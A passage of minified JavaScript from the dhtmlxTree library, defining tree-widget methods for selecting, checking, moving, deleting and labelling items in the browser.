l=h;l<=g;l++){if(!m.parentObject.childNodes[l].i_sel){this._markItem(m.parentObject.childNodes[l])}}}else{this._markItem(m)}}}if(this.checkEvent(\"onSelect\")){var o=this.getSelectedItemId();if(o!=this._onSSCFold){this.callEvent(\"onSelect\",[o])}}};dhtmlXTreeObject.prototype._markItem=function(a){if(a.scolor){a.span.style.color=a.scolor}a.span.className=\"selectedTreeRow\";a.i_sel=true;this._selected[this._selected.length]=a};dhtmlXTreeObject.prototype.getIndexById=function(c){var a=this._globalIdStorageFind(c);if(!a){return null}return this._getIndex(a)};dhtmlXTreeObject.prototype._getIndex=function(a){var e=a.parentObject;for(var c=0;c<e.childsCount;c++){if(e.childNodes[c]==a){return c}}};dhtmlXTreeObject.prototype._unselectItem=function(c){if((c)&&(c.i_sel)){c.span.className=\"standartTreeRow\";if(c.acolor){c.span.style.color=c.acolor}c.i_sel=false;for(var a=0;a<this._selected.length;a++){if(!this._selected[a].i_sel){this._selected.splice(a,1);break}}}};dhtmlXTreeObject.prototype._unselectItems=function(){for(var a=0;a<this._selected.length;a++){var c=this._selected[a];c.span.className=\"standartTreeRow\";if(c.acolor){c.span.style.color=c.acolor}c.i_sel=false}this._selected=new Array()};dhtmlXTreeObject.prototype.onRowSelect=function(h,g,m){h=h||window.event;var c=this.parentObject;if(g){c=g.parentObject}var a=c.treeNod;var l=a.getSelectedItemId();if((!h)||(!h.skipUnSel)){a._selectItem(c,h)}if(!m){if(c.actionHandler){c.actionHandler(c.id,l)}else{a.callEvent(\"onClick\",[c.id,l])}}};dhtmlXTreeObject.prototype._correctCheckStates=function(h){if(!this.tscheck){return}if(!h){return}if(h.id==this.rootId){return}var e=h.childNodes;var c=0;var a=0;if(h.childsCount==0){return}for(var g=0;g<h.childsCount;g++){if(e[g].dscheck){continue}if(e[g].checkstate==0){c=1}else{if(e[g].checkstate==1){a=1}else{c=1;a=1;break}}}if((c)&&(a)){this._setCheck(h,\"unsure\")}else{if(c){this._setCheck(h,false)}else{this._setCheck(h,true)}}this._correctCheckStates(h.parentObject)};dhtmlXTreeObject.prototype.onCheckBoxClick=function(a){if(!this.treeNod.callEvent(\"onBeforeCheck\",[this.parentObject.id,this.parentObject.checkstate])){return}if(this.parentObject.dscheck){return true}if(this.treeNod.tscheck){if(this.parentObject.checkstate==1){this.treeNod._setSubChecked(false,this.parentObject)}else{this.treeNod._setSubChecked(true,this.parentObject)}}else{if(this.parentObject.checkstate==1){this.treeNod._setCheck(this.parentObject,false)}else{this.treeNod._setCheck(this.parentObject,true)}}this.treeNod._correctCheckStates(this.parentObject.parentObject);return this.treeNod.callEvent(\"onCheck\",[this.parentObject.id,this.parentObject.checkstate])};dhtmlXTreeObject.prototype._createItem=function(s,r,n){var u=document.createElement(\"table\");u.cellSpacing=0;u.cellPadding=0;u.border=0;if(this.hfMode){u.style.tableLayout=\"fixed\"}u.style.margin=0;u.style.padding=0;var m=document.createElement(\"tbody\");var q=document.createElement(\"tr\");var g=document.createElement(\"td\");g.className=\"standartTreeImage\";if(this._txtimg){var h=document.createElement(\"div\");g.appendChild(h);h.className=\"dhx_tree_textSign\"}else{var h=this._getImg(r.id);h.border=\"0\";if(h.tagName==\"IMG\"){h.align=\"absmiddle\"}g.appendChild(h);h.style.padding=0;h.style.margin=0;h.style.width=this.def_line_img_x}var e=document.createElement(\"td\");var o=this._getImg(this.cBROf?this.rootId:r.id);o.checked=0;this._setSrc(o,this.imPath+this.checkArray[0]);o.style.width=\"18px\";o.style.height=\"18px\";if(!s){e.style.display=\"none\"}e.appendChild(o);if((!this.cBROf)&&(o.tagName==\"IMG\")){o.align=\"absmiddle\"}o.onclick=this.onCheckBoxClick;o.treeNod=this;o.parentObject=r;if(!window._KHTMLrv){e.width=\"20px\"}else{e.width=\"16px\"}var c=document.createElement(\"td\");c.className=\"standartTreeImage\";var l=this._getImg(this.timgen?r.id:this.rootId);l.onmousedown=this._preventNsDrag;l.ondragstart=this._preventNsDrag;l.border=\"0\";if(this._aimgs){l.parentObject=r;if(l.tagName==\"IMG\"){l.align=\"absmiddle\"}l.onclick=this.onRowSelect}if(!n){this._setSrc(l,this.iconURL+this.imageArray[0])}c.appendChild(l);l.style.padding=0;l.style.margin=0;if(this.timgen){c.style.width=l.style.width=this.def_img_x;l.style.height=this.def_img_y}else{l.style.width=\"0px\";l.style.height=\"0px\";if(_isOpera||window._KHTMLrv){c.style.display=\"none\"}}var a=document.createElement(\"td\");a.className=\"standartTreeRow\";r.span=document.createElement(\"span\");r.span.className=\"standartTreeRow\";if(this.mlitems){r.span.style.width=this.mlitems;r.span.style.display=\"block\"}else{a.noWrap=true}if(dhx4.isIE8){a.style.width=\"99999px\"}else{if(!window._KHTMLrv){a.style.width=\"100%\"}}r.span.innerHTML=r.label;a.appendChild(r.span);a.parentObject=r;g.parentObject=r;a.onclick=this.onRowSelect;g.onclick=this.onRowClick;a.ondblclick=this.onRowClick2;if(this.ettip){q.title=r.label}if(this.dragAndDropOff){if(this._aimgs){this.dragger.addDraggableItem(c,this);c.parentObject=r}this.dragger.addDraggableItem(a,this)}r.span.style.paddingLeft=\"5px\";r.span.style.paddingRight=\"5px\";a.style.verticalAlign=\"\";a.style.fontSize=\"10pt\";a.style.cursor=this.style_pointer;q.appendChild(g);q.appendChild(e);q.appendChild(c);q.appendChild(a);m.appendChild(q);u.appendChild(m);if(this.ehlt||this.checkEvent(\"onMouseIn\")||this.checkEvent(\"onMouseOut\")){q.onmousemove=this._itemMouseIn;q[(_isIE)?\"onmouseleave\":\"onmouseout\"]=this._itemMouseOut}return u};dhtmlXTreeObject.prototype.setImagePath=function(a){this.imPath=a;this.iconURL=a};dhtmlXTreeObject.prototype.setIconPath=function(a){this.iconURL=a};dhtmlXTreeObject.prototype._getLeafCount=function(g){var e=0;for(var c=0;c<g.childsCount;c++){if(g.childNodes[c].childsCount==0){e++}}return e};dhtmlXTreeObject.prototype._getChildCounterValue=function(c){var a=this._globalIdStorageFind(c);if(!a){return 0}if((a.unParsed)||((!a.XMLload)&&(this.XMLsource))){return a._acc}switch(this.childCalc){case 1:return a.childsCount;break;case 2:return this._getLeafCount(a);break;case 3:return a._acc;break;case 4:return a._acc;break}};dhtmlXTreeObject.prototype._fixChildCountLabel=function(l,g){if(this.childCalc==null){return}if((l.unParsed)||((!l.XMLload)&&(this.XMLsource))){if(l._acc){l.span.innerHTML=l.label+this.htmlcA+l._acc+this.htmlcB}else{l.span.innerHTML=l.label}return}switch(this.childCalc){case 1:if(l.childsCount!=0){l.span.innerHTML=l.label+this.htmlcA+l.childsCount+this.htmlcB}else{l.span.innerHTML=l.label}break;case 2:var h=this._getLeafCount(l);if(h!=0){l.span.innerHTML=l.label+this.htmlcA+h+this.htmlcB}else{l.span.innerHTML=l.label}break;case 3:if(l.childsCount!=0){var e=0;for(var c=0;c<l.childsCount;c++){if(!l.childNodes[c]._acc){l.childNodes[c]._acc=0}e+=l.childNodes[c]._acc*1}e+=l.childsCount*1;l.span.innerHTML=l.label+this.htmlcA+e+this.htmlcB;l._acc=e}else{l.span.innerHTML=l.label;l._acc=0}if((l.parentObject)&&(l.parentObject!=this.htmlNode)){this._fixChildCountLabel(l.parentObject)}break;case 4:if(l.childsCount!=0){var e=0;for(var c=0;c<l.childsCount;c++){if(!l.childNodes[c]._acc){l.childNodes[c]._acc=1}e+=l.childNodes[c]._acc*1}l.span.innerHTML=l.label+this.htmlcA+e+this.htmlcB;l._acc=e}else{l.span.innerHTML=l.label;l._acc=1}if((l.parentObject)&&(l.parentObject!=this.htmlNode)){this._fixChildCountLabel(l.parentObject)}break}};dhtmlXTreeObject.prototype.setChildCalcMode=function(a){switch(a){case\"child\":this.childCalc=1;break;case\"leafs\":this.childCalc=2;break;case\"childrec\":this.childCalc=3;break;case\"leafsrec\":this.childCalc=4;break;case\"disabled\":this.childCalc=null;break;default:this.childCalc=4}};dhtmlXTreeObject.prototype.setChildCalcHTML=function(c,a){this.htmlcA=c;this.htmlcB=a};dhtmlXTreeObject.prototype.setOnRightClickHandler=function(a){this.attachEvent(\"onRightClick\",a)};dhtmlXTreeObject.prototype.setOnClickHandler=function(a){this.attachEvent(\"onClick\",a)};dhtmlXTreeObject.prototype.setOnSelectStateChange=function(a){this.attachEvent(\"onSelect\",a)};dhtmlXTreeObject.prototype.setXMLAutoLoading=function(a){this.XMLsource=a};dhtmlXTreeObject.prototype.setOnCheckHandler=function(a){this.attachEvent(\"onCheck\",a)};dhtmlXTreeObject.prototype.setOnOpenHandler=function(a){this.attachEvent(\"onOpenStart\",a)};dhtmlXTreeObject.prototype.setOnOpenStartHandler=function(a){this.attachEvent(\"onOpenStart\",a)};dhtmlXTreeObject.prototype.setOnOpenEndHandler=function(a){this.attachEvent(\"onOpenEnd\",a)};dhtmlXTreeObject.prototype.setOnDblClickHandler=function(a){this.attachEvent(\"onDblClick\",a)};dhtmlXTreeObject.prototype.openAllItems=function(c){var a=this._globalIdStorageFind(c);if(!a){return 0}this._xopenAll(a)};dhtmlXTreeObject.prototype.getOpenState=function(c){var a=this._globalIdStorageFind(c);if(!a){return\"\"}return this._getOpenState(a)};dhtmlXTreeObject.prototype.closeAllItems=function(c){if(c===window.undefined){c=this.rootId}var a=this._globalIdStorageFind(c);if(!a){return 0}this._xcloseAll(a);this.allTree.childNodes[0].border=\"1\";this.allTree.childNodes[0].border=\"0\"};dhtmlXTreeObject.prototype.setUserData=function(g,c,e){var a=this._globalIdStorageFind(g,0,true);if(!a){return}if(c==\"hint\"){a.htmlNode.childNodes[0].childNodes[0].title=e}if(typeof(a.userData[\"t_\"+c])==\"undefined\"){if(!a._userdatalist){a._userdatalist=c}else{a._userdatalist+=\",\"+c}}a.userData[\"t_\"+c]=e};dhtmlXTreeObject.prototype.getUserData=function(e,c){var a=this._globalIdStorageFind(e,0,true);if(!a){return}return a.userData[\"t_\"+c]};dhtmlXTreeObject.prototype.getItemColor=function(e){var a=this._globalIdStorageFind(e);if(!a){return 0}var c=new Object();if(a.acolor){c.acolor=a.acolor}if(a.scolor){c.scolor=a.scolor}return c};dhtmlXTreeObject.prototype.setItemColor=function(e,c,g){if((e)&&(e.span)){var a=e}else{var a=this._globalIdStorageFind(e)}if(!a){return 0}else{if(a.i_sel){if(g){a.span.style.color=g}}else{if(c){a.span.style.color=c}}if(g){a.scolor=g}if(c){a.acolor=c}}};dhtmlXTreeObject.prototype.getItemText=function(c){var a=this._globalIdStorageFind(c);if(!a){return 0}return(a.htmlNode.childNodes[0].childNodes[0].childNodes[3].childNodes[0].innerHTML)};dhtmlXTreeObject.prototype.getParentId=function(c){var a=this._globalIdStorageFind(c);if((!a)||(!a.parentObject)){return\"\"}return a.parentObject.id};dhtmlXTreeObject.prototype.changeItemId=function(c,e){if(c==e){return}var a=this._globalIdStorageFind(c);if(!a){return 0}a.id=e;a.span.contextMenuId=e;this._idpull[e]=this._idpull[c];delete this._idpull[c]};dhtmlXTreeObject.prototype.doCut=function(){if(this.nodeCut){this.clearCut()}this.nodeCut=(new Array()).concat(this._selected);for(var a=0;a<this.nodeCut.length;a++){var c=this.nodeCut[a];c._cimgs=new Array();c._cimgs[0]=c.images[0];c._cimgs[1]=c.images[1];c._cimgs[2]=c.images[2];c.images[0]=c.images[1]=c.images[2]=this.cutImage;this._correctPlus(c)}};dhtmlXTreeObject.prototype.doPaste=function(e){var a=this._globalIdStorageFind(e);if(!a){return 0}for(var c=0;c<this.nodeCut.length;c++){if(this._checkPNodes(a,this.nodeCut[c])){continue}this._moveNode(this.nodeCut[c],a)}this.clearCut()};dhtmlXTreeObject.prototype.clearCut=function(){for(var a=0;a<this.nodeCut.length;a++){var c=this.nodeCut[a];c.images[0]=c._cimgs[0];c.images[1]=c._cimgs[1];c.images[2]=c._cimgs[2];this._correctPlus(c)}this.nodeCut=new Array()};dhtmlXTreeObject.prototype._moveNode=function(a,c){var l=this.dadmodec;if(l==1){var h=c;if(this.dadmodefix<0){while(true){h=this._getPrevNode(h);if((h==-1)){h=this.htmlNode;break}if((h.tr==0)||(h.tr.style.display==\"\")||(!h.parentObject)){break}}var g=h;var e=c}else{if((h.tr)&&(h.tr.nextSibling)&&(h.tr.nextSibling.nodem)&&(this._getOpenState(h)<1)){h=h.tr.nextSibling.nodem}else{h=this._getNextNode(h);if((h==-1)){h=this.htmlNode}}var e=h;var g=c}if(this._getNodeLevel(g,0)>this._getNodeLevel(e,0)){if(!this.dropLower){return this._moveNodeTo(a,g.parentObject)}else{if(e.id!=this.rootId){return this._moveNodeTo(a,e.parentObject,e)}else{return this._moveNodeTo(a,this.htmlNode,null)}}}else{return this._moveNodeTo(a,e.parentObject,e)}}else{return this._moveNodeTo(a,c)}};dhtmlXTreeObject.prototype._fixNodesCollection=function(n,l){var c=0;var g=0;var m=n.childNodes;var a=n.childsCount-1;if(l==m[a]){return}for(var h=0;h<a;h++){if(m[h]==m[a]){m[h]=m[h+1];m[h+1]=m[a]}}for(var h=0;h<a+1;h++){if(c){var e=m[h];m[h]=c;c=e}else{if(m[h]==l){c=m[h];m[h]=m[a]}}}};dhtmlXTreeObject.prototype._recreateBranch=function(l,n,h,a){var c;var o=\"\";if(h){for(c=0;c<n.childsCount;c++){if(n.childNodes[c]==h){break}}if(c!=0){h=n.childNodes[c-1]}else{o=\"TOP\";h=\"\"}}var e=this._onradh;this._onradh=null;var m=this._attachChildNode(n,l.id,l.label,0,l.images[0],l.images[1],l.images[2],o,0,h);m._userdatalist=l._userdatalist;m.userData=l.userData.clone();if(l._attrs){m._attrs={};for(var g in l._attrs){m._attrs[g]=l._attrs[g]}}m.XMLload=l.XMLload;if(e){this._onradh=e;this._onradh(m.id)}if(l.treeNod.dpcpy){l.treeNod._globalIdStorageFind(l.id)}else{m.unParsed=l.unParsed}this._correctPlus(m);for(var c=0;c<l.childsCount;c++){this._recreateBranch(l.childNodes[c],m,0,1)}if((!a)&&(this.childCalc)){this._redrawFrom(this,n)}return m};dhtmlXTreeObject.prototype._moveNodeTo=function(s,v,r){if(s.treeNod._nonTrivialNode){return s.treeNod._nonTrivialNode(this,v,r,s)}if(this._checkPNodes(v,s)){return false}if(v.mytype){var m=(s.treeNod.lWin!=v.lWin)}else{var m=(s.treeNod.lWin!=v.treeNod.lWin)}if(!this.callEvent(\"onDrag\",[s.id,v.id,(r?r.id:null),s.treeNod,v.treeNod])){return false}if((v.XMLload==0)&&(this.XMLsource)){v.XMLload=1;this._loadDynXML(v.id)}this.openItem(v.id);var e=s.treeNod;var o=s.parentObject.childsCount;var q=s.parentObject;if((m)||(e.dpcpy)){var g=s.id;s=this._recreateBranch(s,v,r);if(!e.dpcpy){e.deleteItem(g)}}else{var h=v.childsCount;var u=v.childNodes;if(h==0){v._open=true}e._unselectItem(s);u[h]=s;s.treeNod=v.treeNod;v.childsCount++;var n=this._drawNewTr(u[h].htmlNode);if(!r){v.htmlNode.childNodes[0].appendChild(n);if(this.dadmode==1){this._fixNodesCollection(v,r)}}else{v.htmlNode.childNodes[0].insertBefore(n,r.tr);this._fixNodesCollection(v,r);u=v.childNodes}}if((!e.dpcpy)&&(!m)){var a=s.tr;if((document.all)&&(navigator.appVersion.search(/MSIE\\ 5\\.0/gi)!=-1)){window.setTimeout(function(){a.parentNode.removeChild(a)},250)}else{s.parentObject.htmlNode.childNodes[0].removeChild(s.tr)}if((!r)||(v!=s.parentObject)){for(var l=0;l<q.childsCount;l++){if(q.childNodes[l].id==s.id){q.childNodes[l]=0;break}}}else{q.childNodes[q.childsCount-1]=0}e._compressChildList(q.childsCount,q.childNodes);q.childsCount--}if((!m)&&(!e.dpcpy)){s.tr=n;n.nodem=s;s.parentObject=v;if(e!=v.treeNod){if(s.treeNod._registerBranch(s,e)){return}this._clearStyles(s);this._redrawFrom(this,s.parentObject);if(this._onradh){this._onradh(s.id)}}this._correctPlus(v);this._correctLine(v);this._correctLine(s);this._correctPlus(s);if(r){this._correctPlus(r)}else{if(v.childsCount>=2){this._correctPlus(u[v.childsCount-2]);this._correctLine(u[v.childsCount-2])}}this._correctPlus(u[v.childsCount-1]);if(this.tscheck){this._correctCheckStates(v)}if(e.tscheck){e._correctCheckStates(q)}}if(o>1){e._correctPlus(q.childNodes[o-2]);e._correctLine(q.childNodes[o-2])}e._correctPlus(q);e._correctLine(q);this._fixChildCountLabel(v);e._fixChildCountLabel(q);this.callEvent(\"onDrop\",[s.id,v.id,(r?r.id:null),e,v.treeNod]);return s.id};dhtmlXTreeObject.prototype._clearStyles=function(a){if(!a.htmlNode){return}var g=a.htmlNode.childNodes[0].childNodes[0].childNodes[1];var c=g.nextSibling.nextSibling;a.span.innerHTML=a.label;a.i_sel=false;if(a._aimgs){this.dragger.removeDraggableItem(g.nextSibling)}if(this.checkBoxOff){g.childNodes[0].style.display=\"\";g.childNodes[0].onclick=this.onCheckBoxClick;this._setSrc(g.childNodes[0],this.imPath+this.checkArray[a.checkstate])}else{g.style.display=\"none\"}g.childNodes[0].treeNod=this;this.dragger.removeDraggableItem(c);if(this.dragAndDropOff){this.dragger.addDraggableItem(c,this)}if(this._aimgs){this.dragger.addDraggableItem(g.nextSibling,this)}c.childNodes[0].className=\"standartTreeRow\";c.onclick=this.onRowSelect;c.ondblclick=this.onRowClick2;g.previousSibling.onclick=this.onRowClick;this._correctLine(a);this._correctPlus(a);for(var e=0;e<a.childsCount;e++){this._clearStyles(a.childNodes[e])}};dhtmlXTreeObject.prototype._registerBranch=function(c,a){if(a){a._globalIdStorageSub(c.id)}c.id=this._globalIdStorageAdd(c.id,c);c.treeNod=this;for(var e=0;e<c.childsCount;e++){this._registerBranch(c.childNodes[e],a)}return 0};dhtmlXTreeObject.prototype.enableThreeStateCheckboxes=function(a){this.tscheck=dhx4.s2b(a)};dhtmlXTreeObject.prototype.setOnMouseInHandler=function(a){this.ehlt=true;this.attachEvent(\"onMouseIn\",a)};dhtmlXTreeObject.prototype.setOnMouseOutHandler=function(a){this.ehlt=true;this.attachEvent(\"onMouseOut\",a)};dhtmlXTreeObject.prototype.enableMercyDrag=function(a){this.dpcpy=dhx4.s2b(a)};dhtmlXTreeObject.prototype.enableTreeImages=function(a){this.timgen=dhx4.s2b(a)};dhtmlXTreeObject.prototype.enableFixedMode=function(a){this.hfMode=dhx4.s2b(a)};dhtmlXTreeObject.prototype.enableCheckBoxes=function(c,a){this.checkBoxOff=dhx4.s2b(c);this.cBROf=(!(this.checkBoxOff||dhx4.s2b(a)))};dhtmlXTreeObject.prototype.setStdImages=function(a,e,c){this.imageArray[0]=a;this.imageArray[1]=e;this.imageArray[2]=c};dhtmlXTreeObject.prototype.enableTreeLines=function(a){this.treeLinesOn=dhx4.s2b(a)};dhtmlXTreeObject.prototype.setImageArrays=function(g,a,l,h,e,c){switch(g){case\"plus\":this.plusArray[0]=a;this.plusArray[1]=l;this.plusArray[2]=h;this.plusArray[3]=e;this.plusArray[4]=c;break;case\"minus\":this.minusArray[0]=a;this.minusArray[1]=l;this.minusArray[2]=h;this.minusArray[3]=e;this.minusArray[4]=c;break}};dhtmlXTreeObject.prototype.openItem=function(c){this.skipLock=true;var a=this._globalIdStorageFind(c);if(!a){return 0}else{return this._openItem(a)}this.skipLock=false};dhtmlXTreeObject.prototype._openItem=function(a){var c=this._getOpenState(a);if((c<0)||(((this.XMLsource)&&(!a.XMLload)))){if(!this.callEvent(\"onOpenStart\",[a.id,c])){return 0}this._HideShow(a,2);if(this.checkEvent(\"onOpenEnd\")){if(this.onXLE==this._epnFHe){this._epnFHe(this,a.id,true)}if(!this.xmlstate||!this.XMLsource){this.callEvent(\"onOpenEnd\",[a.id,this._getOpenState(a)])}else{this._oie_onXLE.push(this.onXLE);this.onXLE=this._epnFHe}}}else{if(this._srnd){this._HideShow(a,2)}}if(a.parentObject&&!this._skip_open_parent){this._openItem(a.parentObject)}};dhtmlXTreeObject.prototype.closeItem=function(c){if(this.rootId==c){return 0}this.skipLock=true;var a=this._globalIdStorageFind(c);if(!a){return 0}if(a.closeble){this._HideShow(a,1)}this.skipLock=false};dhtmlXTreeObject.prototype.getLevel=function(c){var a=this._globalIdStorageFind(c);if(!a){return 0}return this._getNodeLevel(a,0)};dhtmlXTreeObject.prototype.setItemCloseable=function(e,a){a=dhx4.s2b(a);if((e)&&(e.span)){var c=e}else{var c=this._globalIdStorageFind(e)}if(!c){return 0}c.closeble=a};dhtmlXTreeObject.prototype._getNodeLevel=function(a,c){if(a.parentObject){return this._getNodeLevel(a.parentObject,c+1)}return(c)};dhtmlXTreeObject.prototype.hasChildren=function(c){var a=this._globalIdStorageFind(c);if(!a){return 0}else{if((this.XMLsource)&&(!a.XMLload)){return true}else{return a.childsCount}}};dhtmlXTreeObject.prototype._getLeafCount=function(g){var e=0;for(var c=0;c<g.childsCount;c++){if(g.childNodes[c].childsCount==0){e++}}return e};dhtmlXTreeObject.prototype.setItemText=function(g,e,c){var a=this._globalIdStorageFind(g);if(!a){return 0}a.label=e;a.span.innerHTML=e;if(this.childCalc){this._fixChildCountLabel(a)}a.span.parentNode.parentNode.title=c||\"\"};dhtmlXTreeObject.prototype.getItemTooltip=function(c){var a=this._globalIdStorageFind(c);if(!a){return\"\"}return(a.span.parentNode.parentNode._dhx_title||a.span.parentNode.parentNode.title||\"\")};dhtmlXTreeObject.prototype.refreshItem=function(c){if(!c){c=this.rootId}var a=this._globalIdStorageFind(c);this.deleteChildItems(c);this._loadDynXML(c)};dhtmlXTreeObject.prototype.setItemImage2=function(g,a,h,e){var c=this._globalIdStorageFind(g);if(!c){return 0}c.images[1]=h;c.images[2]=e;c.images[0]=a;this._correctPlus(c)};dhtmlXTreeObject.prototype.setItemImage=function(e,a,g){var c=this._globalIdStorageFind(e);if(!c){return 0}if(g){c.images[1]=a;c.images[2]=g}else{c.images[0]=a}this._correctPlus(c)};dhtmlXTreeObject.prototype.getSubItems=function(e){var a=this._globalIdStorageFind(e,0,1);if(!a){return 0}if(a.unParsed){return(this._getSubItemsXML(a.unParsed))}var c=\"\";for(i=0;i<a.childsCount;i++){if(!c){c=\"\"+a.childNodes[i].id}else{c+=this.dlmtr+a.childNodes[i].id}}return c};dhtmlXTreeObject.prototype._getAllScraggyItems=function(e){var g=\"\";for(var c=0;c<e.childsCount;c++){if((e.childNodes[c].unParsed)||(e.childNodes[c].childsCount>0)){if(e.childNodes[c].unParsed){var a=this._getAllScraggyItemsXML(e.childNodes[c].unParsed,1)}else{var a=this._getAllScraggyItems(e.childNodes[c])}if(a){if(g){g+=this.dlmtr+a}else{g=a}}}else{if(!g){g=\"\"+e.childNodes[c].id}else{g+=this.dlmtr+e.childNodes[c].id}}}return g};dhtmlXTreeObject.prototype._getAllFatItems=function(e){var g=\"\";for(var c=0;c<e.childsCount;c++){if((e.childNodes[c].unParsed)||(e.childNodes[c].childsCount>0)){if(!g){g=\"\"+e.childNodes[c].id}else{g+=this.dlmtr+e.childNodes[c].id}if(e.childNodes[c].unParsed){var a=this._getAllFatItemsXML(e.childNodes[c].unParsed,1)}else{var a=this._getAllFatItems(e.childNodes[c])}if(a){g+=this.dlmtr+a}}}return g};dhtmlXTreeObject.prototype._getAllSubItems=function(l,h,g){if(g){c=g}else{var c=this._globalIdStorageFind(l)}if(!c){return 0}h=\"\";for(var e=0;e<c.childsCount;e++){if(!h){h=\"\"+c.childNodes[e].id}else{h+=this.dlmtr+c.childNodes[e].id}var a=this._getAllSubItems(0,h,c.childNodes[e]);if(a){h+=this.dlmtr+a}}if(c.unParsed){h=this._getAllSubItemsXML(l,h,c.unParsed)}return h};dhtmlXTreeObject.prototype.selectItem=function(g,e,c){e=dhx4.s2b(e);var a=this._globalIdStorageFind(g);if((!a)||(!a.parentObject)){return 0}if(this.XMLloadingWarning){a.parentObject.openMe=1}else{this._openItem(a.parentObject)}var h=null;if(c){h=new Object;h.ctrlKey=true;if(a.i_sel){h.skipUnSel=true}}if(e){this.onRowSelect(h,a.htmlNode.childNodes[0].childNodes[0].childNodes[3],false)}else{this.onRowSelect(h,a.htmlNode.childNodes[0].childNodes[0].childNodes[3],true)}};dhtmlXTreeObject.prototype.getSelectedItemText=function(){var c=new Array();for(var a=0;a<this._selected.length;a++){c[a]=this._selected[a].span.innerHTML}return(c.join(this.dlmtr))};dhtmlXTreeObject.prototype._compressChildList=function(a,e){a--;for(var c=0;c<a;c++){if(e[c]==0){e[c]=e[c+1];e[c+1]=0}}};dhtmlXTreeObject.prototype._deleteNode=function(m,h,o){if((!h)||(!h.parentObject)){return 0}var a=0;var c=0;if(h.tr.nextSibling){a=h.tr.nextSibling.nodem}if(h.tr.previousSibling){c=h.tr.previousSibling.nodem}var l=h.parentObject;var e=l.childsCount;var n=l.childNodes;for(var g=0;g<e;g++){if(n[g].id==m){if(!o){l.htmlNode.childNodes[0].removeChild(n[g].tr)}n[g]=0;break}}this._compressChildList(e,n);if(!o){l.childsCount--}if(a){this._correctPlus(a);this._correctLine(a)}if(c){this._correctPlus(c);this._correctLine(c)}if(this.tscheck){this._correctCheckStates(l)}if(!o){this._globalIdStorageRecSub(h)}};dhtmlXTreeObject.prototype.setCheck=function(e,c){var a=this._globalIdStorageFind(e,0,1);if(!a){return}if(c===\"unsure\"){this._setCheck(a,c)}else{c=dhx4.s2b(c);if((this.tscheck)&&(this.smcheck)){this._setSubChecked(c,a)}else{this._setCheck(a,c)}}if(this.smcheck){this._correctCheckStates(a.parentObject)}};dhtmlXTreeObject.prototype._setCheck=function(a,e){if(!a){return}if(((a.parentObject._r_logic)||(this._frbtr))&&(e)){if(this._frbtrs){if(this._frbtrL){this.setCheck(this._frbtrL.id,0)}this._frbtrL=a}else{for(var c=0;c<a.parentObject.childsCount;c++){this._setCheck(a.parentObject.childNodes[c],0)}}}var g=a.htmlNode.childNodes[0].childNodes[0].childNodes[1].childNodes[0];if(e==\"unsure\"){a.checkstate=2}else{if(e){a.checkstate=1}else{a.checkstate=0}}if(a.dscheck){a.checkstate=a.dscheck}this._setSrc(g,this.imPath+((a.parentObject._r_logic||this._frbtr)?this.radioArray:this.checkArray)[a.checkstate])};dhtmlXTreeObject.prototype.setSubChecked=function(e,c){var a=this._globalIdStorageFind(e);this._setSubChecked(c,a);this._correctCheckStates(a.parentObject)};dhtmlXTreeObject.prototype._setSubChecked=function(e,a){e=dhx4.s2b(e);if(!a){return}if(((a.parentObject._r_logic)||(this._frbtr))&&(e)){for(var c=0;c<a.parentObject.childsCount;c++){this._setSubChecked(0,a.parentObject.childNodes[c])}}if(a.unParsed){this._setSubCheckedXML(e,a.unParsed)}if(a._r_logic||this._frbtr){this._setSubChecked(e,a.childNodes[0])}else{for(var c=0;c<a.childsCount;c++){this._setSubChecked(e,a.childNodes[c])}}var g=a.htmlNode.childNodes[0].childNodes[0].childNodes[1].childNodes[0];if(e){a.checkstate=1}else{a.checkstate=0}if(a.dscheck){a.checkstate=a.dscheck}this._setSrc(g,this.imPath+((a.parentObject._r_logic||this._frbtr)?this.radioArray:this.checkArray)[a.checkstate])};dhtmlXTreeObject.prototype.isItemChecked=function(c){var a=this._globalIdStorageFind(c);if(!a){return}return a.checkstate};dhtmlXTreeObject.prototype.deleteChildItems=function(g){var a=this._globalIdStorageFind(g);if(!a){return}var c=a.childsCount;for(var e=0;e<c;e++){this._deleteNode(a.childNodes[0].id,a.childNodes[0])}};dhtmlXTreeObject.prototype.deleteItem=function(e,a){if((!this._onrdlh)||(this._onrdlh(e))){var c=this._deleteItem(e,a);if(c){this._fixChildCountLabel(c)}}this.allTree.childNodes[0].border=\"1\";this.allTree.childNodes[0].border=\"0\"};dhtmlXTreeObject.prototype._deleteItem=function(l,c,h){c=dhx4.s2b(c);var a=this._globalIdStorageFind(l);if(!a){return}var e=this.getParentId(l);var g=a.parentObject;this._deleteNode(l,a,h);if(this._editCell&&this._editCell.id==l){this._editCell=null}this._correctPlus(g);this._correctLine(g);if((c)&&(e!=this.rootId)){this.selectItem(e,1)}return g};dhtmlXTreeObject.prototype._globalIdStorageRecSub=function(a){for(var c=0;c<a.childsCount;c++){this._globalIdStorageRecSub(a.childNodes[c]);this._globalIdStorageSub(a.childNodes[c].id)}this._globalIdStorageSub(a.id);var e=a;e.span=null;e.tr.nodem=null;e.tr=null;e.htmlNode=null};dhtmlXTreeObject.prototype.insertNewNext=function(n,r,q,e,l,h,g,c,a){var m=this._globalIdStorageFind(n);if((!m)||(!m.parentObject)){return(0)}var o=this._attachChildNode(0,r,q,e,l,h,g,c,a,m);if((!this.XMLloadingWarning)&&(this.childCalc)){this._fixChildCountLabel(m.parentObject)}return o};dhtmlXTreeObject.prototype.getItemIdByIndex=function(e,a){var c=this._globalIdStorageFind(e);if((!c)||(a>=c.childsCount)){return null}return c.childNodes[a].id};dhtmlXTreeObject.prototype.getChildItemIdByIndex=function(e,a){var c=this._globalIdStorageFind(e);if((!c)||(a>=c.childsCount)){return null}return c.childNodes[a].id};dhtmlXTreeObject.prototype.setDragHandler=function(a){this.attachEvent(\"onDrag\",a)};dhtmlXTreeObject.prototype._clearMove=function(){if(this._lastMark){this._lastMark.className=this._lastMark.className.replace(/dragAndDropRow/g,\"\");this._lastMark=null}this.selectionBar.style.display=\"none\";this.allTree.className=this.allTree.className.replace(\" selectionBox\",\"\")};dhtmlXTreeObject.prototype.enableDragAndDrop=function(c,a){if(c==\"temporary_disabled\"){this.dADTempOff=false;c=true}else{this.dADTempOff=true}this.dragAndDropOff=dhx4.s2b(c);if(this.dragAndDropOff){this.dragger.addDragLanding(this.allTree,this)}if(arguments.length>1){this._ddronr=(!dhx4.s2b(a))}};dhtmlXTreeObject.prototype._setMove=function(h,e,m){if(h.parentObject.span){var g=dhx4.absTop(h);var 